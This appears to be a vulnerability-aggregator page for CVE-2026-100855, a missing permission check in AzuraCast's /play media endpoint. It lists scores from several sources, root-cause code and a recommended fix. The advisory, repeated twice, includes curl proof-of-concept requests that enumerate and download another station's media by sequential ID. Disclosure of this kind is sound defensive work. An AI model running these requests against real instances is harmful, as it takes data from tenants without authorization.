CVE-2026-100855
AzuraCast before 0.23.6 Missing Permission Check via /play
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.1
AzuraCast before 0.23.6 Missing Permission Check via /play
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
- Record
CVE-2026-100855- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-87820
7.1
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
- Record
EUVD-2026-87820- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-qff7-q5fm-8p76
6.5
AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration
Summary
The GET /api/station/{station_id}/file/{id}/play endpoint, handled by PlayAction, is missing the Middleware\Permissions check that protects all sibling routes in the same /file/{id} route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.
Details
In backend/config/routes/api_station.php, the /file/{id} route group (lines 407-429) defines four endpoints:
// Line 407-429
$group->group(
'/file/{id}',
function (RouteCollectorProxy $group) {
// GET /file/{id} — has Permissions check ✓
$group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// PUT /file/{id} — has Permissions check ✓
$group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// DELETE /file/{id} — has Permissions check ✓
$group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true));
// GET /file/{id}/play — NO Permissions check ✗
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
}
);
The middleware chain for the /play endpoint is: GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction. The RequireLogin middleware (backend/src/Middleware/RequireLogin.php) only verifies a valid session/API key exists — it does not check station-level permissions.
The controller at backend/src/Controller/Api/Stations/Files/PlayAction.php:84 calls $this->mediaRepo->requireForStation($id, $station), which verifies the media belongs to the station but performs no authorization check. The findForStation method (StationMediaRepository.php:46-66) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.
This is notably similar to the regression fixed in commit 7fbc7dd (2026-02-26), which restored a missing group-level Permissions middleware on the adjacent /files group. The /play route was missed in that fix.
PoC
# Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
# Upload media files to Station B.
# Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
API_KEY="user-with-only-station-a-access"
# Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs
# This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
# HTTP 200 OK — file downloaded successfully
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
# HTTP 200 OK — file downloaded successfully
# Step 4: Verify the same user is correctly blocked on other endpoints in the same group
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1
# HTTP 403 Forbidden — permission check works here
Impact
- Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions.
- In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B.
- Media IDs use auto-increment integers (
HasAutoIncrementIdtrait onStationMedia), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed.
Recommended Fix
Add the Permissions middleware to the /play route, matching the pattern used by the adjacent routes:
// backend/config/routes/api_station.php, line 426-427
// Before:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
…
- Record
GHSA-qff7-q5fm-8p76- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rwfr-jcqg-x7jc
7.1
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station...
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
- Record
GHSA-rwfr-jcqg-x7jc- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
NVD
7.1
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
- Record
CVE-2026-100855- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSV
7.1
AzuraCast before 0.23.6 Missing Permission Check via /play
AzuraCast before 0.23.6 contains a missing permission check vulnerability in the GET /api/station/{station_id}/file/{id}/play endpoint that allows authenticated users to download media files from any station. Attackers can enumerate media files using sequential IDs and exfiltrate the complete media library of stations they lack permissions for.
- Record
CVE-2026-100855- CVSS 4.0
- 7.1 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-862
- Updated
- 2026-11-02
OSVGHSA-qff7-q5fm-8p76
6.5
AzuraCast has Missing Permissions Check on Media File Download, Allowing Cross-Station Data Exfiltration
Summary
The GET /api/station/{station_id}/file/{id}/play endpoint, handled by PlayAction, is missing the Middleware\Permissions check that protects all sibling routes in the same /file/{id} route group. Any authenticated user can download media files from any station, regardless of whether they have permissions on that station. In multi-tenant deployments, this enables cross-station media exfiltration.
Details
In backend/config/routes/api_station.php, the /file/{id} route group (lines 407-429) defines four endpoints:
// Line 407-429
$group->group(
'/file/{id}',
function (RouteCollectorProxy $group) {
// GET /file/{id} — has Permissions check ✓
$group->get('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// PUT /file/{id} — has Permissions check ✓
$group->put('', ...)->add(new Middleware\Permissions(StationPermissions::Media, true));
// DELETE /file/{id} — has Permissions check ✓
$group->delete('', ...)->add(new Middleware\Permissions(StationPermissions::DeleteMedia, true));
// GET /file/{id}/play — NO Permissions check ✗
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
->setName('api:stations:files:play');
}
);
The middleware chain for the /play endpoint is: GetStation → RequireStation → RequireLogin → StationSupportsFeature(Media) → PlayAction. The RequireLogin middleware (backend/src/Middleware/RequireLogin.php) only verifies a valid session/API key exists — it does not check station-level permissions.
The controller at backend/src/Controller/Api/Stations/Files/PlayAction.php:84 calls $this->mediaRepo->requireForStation($id, $station), which verifies the media belongs to the station but performs no authorization check. The findForStation method (StationMediaRepository.php:46-66) accepts both auto-increment integer IDs and unique IDs, making enumeration trivial via sequential integers.
This is notably similar to the regression fixed in commit 7fbc7dd (2026-02-26), which restored a missing group-level Permissions middleware on the adjacent /files group. The /play route was missed in that fix.
PoC
# Step 1: Create two stations (Station A and Station B) in a multi-tenant AzuraCast instance.
# Upload media files to Station B.
# Step 2: Create a user with permissions ONLY on Station A. Generate an API key for this user.
API_KEY="user-with-only-station-a-access"
# Step 3: Enumerate and download media from Station B (station_id=2) using sequential IDs
# This should return 403 Forbidden, but instead returns the file content
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1/play -o stolen1.mp3
# HTTP 200 OK — file downloaded successfully
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/2/play -o stolen2.mp3
# HTTP 200 OK — file downloaded successfully
# Step 4: Verify the same user is correctly blocked on other endpoints in the same group
curl -H "X-API-Key: $API_KEY" https://target/api/station/2/file/1
# HTTP 403 Forbidden — permission check works here
Impact
- Any authenticated user can download the full media library of any station in the instance, regardless of their assigned permissions.
- In multi-tenant deployments (e.g., hosting providers running multiple radio stations), a user of Station A can exfiltrate all copyrighted audio content from Station B.
- Media IDs use auto-increment integers (
HasAutoIncrementIdtrait onStationMedia), enabling trivial enumeration of all media files. - The confidentiality impact is High: full media file contents (MP3, FLAC, etc.) are exposed.
Recommended Fix
Add the Permissions middleware to the /play route, matching the pattern used by the adjacent routes:
// backend/config/routes/api_station.php, line 426-427
// Before:
$group->get('/play', Controller\Api\Stations\Files\PlayAction::class)
…
- Record
GHSA-qff7-q5fm-8p76- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-862
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
azuracast/azuracastPackagist |
through 0.23.5 | 0.23.6 |
azuracast/azuracastPackagist |
before 0.23.6, plus listed versions 0.10.00.10.10.10.20.10.30.10.4 Show 45 moreShow less0.110.11.10.11.20.120.12.10.12.20.12.30.12.40.13.00.14.00.14.10.15.00.15.10.15.20.16.00.16.10.17.00.17.10.17.20.17.30.17.40.17.50.17.60.17.70.18.00.18.10.18.20.18.30.18.50.19.00.19.10.19.20.19.30.19.40.19.50.19.60.19.70.20.00.20.10.20.20.20.30.20.40.21.00.22.00.22.1 |
0.23.6 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-100855 is a high vulnerability (CVSS 7.1) in Azuracast, published May 4, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 11th percentile. Fixed in azuracast/azuracast 0.23.6.
References
github.com/AzuraCast/AzuraCast/security/advisories/GHSA-qff7-q5fm-8p76
vulncheck.com/advisories/azuracast-before-0.23.6-missing-permission-check-via-play
github.com/AzuraCast/AzuraCast/commit/ba92dc3f0ea15a9c0ba0f4557d99a9a26004108f
github.com/advisories/GHSA-qff7-q5fm-8p76
nvd.nist.gov/vuln/detail/CVE-2026-100855
github.com/advisories/GHSA-rwfr-jcqg-x7jc
github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100855.json
github.com/AzuraCast/AzuraCast
Left out here: 30 versions and the rest of 2 source descriptions. The JSON record has them.